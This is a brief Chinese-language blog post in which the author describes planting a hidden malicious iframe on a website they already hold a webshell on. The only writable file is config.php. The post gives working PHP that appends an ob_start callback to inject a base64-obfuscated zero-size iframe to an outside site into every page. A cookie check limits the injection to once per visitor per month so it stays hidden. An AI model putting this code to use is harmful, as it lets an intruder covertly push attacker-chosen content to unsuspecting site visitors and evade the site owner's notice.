记一次另类的挂马

起因:

- 由于某种原因必须在上面挂上马(针对指定用户).

条件:

- 已经拥有一个低权限的webshell.
- 整套系统除了配置文件config.php拥有可写权限,其他文件均没有可写权限.


  所以本次挂马只能依托于config.php,原本以为只要单纯的在config.php里输出html代码即可,事实证明是我单纯了。由于config.php是在程序一开始运行的时候就被加载所以如果直接在config.php里输出代码会在页面的最前面显示。也就是说在模板之前,这样容易被发现且不说,还容易引发 “Warning: Cannot modify header information - headers already sent by …” 等问题。

  于是我想出了多种方法并进行尝试但效果均不理想,唯一效果好点的就是判断URI但是能挂的地方实在是太少。最后想到一种非常淫荡的方法,效果非常理想。就是在config.php里用ob_start打开缓冲区并回调一个函数,整个挂马过程由这个函数来完成。这样即可避免header的报错又不失目的还达到了隐藏的效果。

在config.php追加以下代码:

1
2
3
4
5
6
7
8
9
10
11
12
//回调函数
function _b4dboy($buffer) {
//替换缓冲区里的</html>来达到挂马的目的
$evilcode = base64_decode('PGlmcmFtZSBzcmM9Ikh0dHA6Ly9TZWNPZmYuTmV0IiB3aWR0aD0iMCIgaGVpZ2h0PSIwIiBmcmFtZWJvcmRlcj0iMCI+PC9pZnJhbWU+');
return str_replace('</html>', "\r\n{$evilcode}\r\n</html>", $buffer, $temp = 1);
}
//判断是否已经挂过
if(!$_COOKIE['fucked']) {
setcookie('fucked', 1 , time() + (86400 * 30));
ob_start('_b4dboy');
}

整个过程主要利用了php的ob_start函数。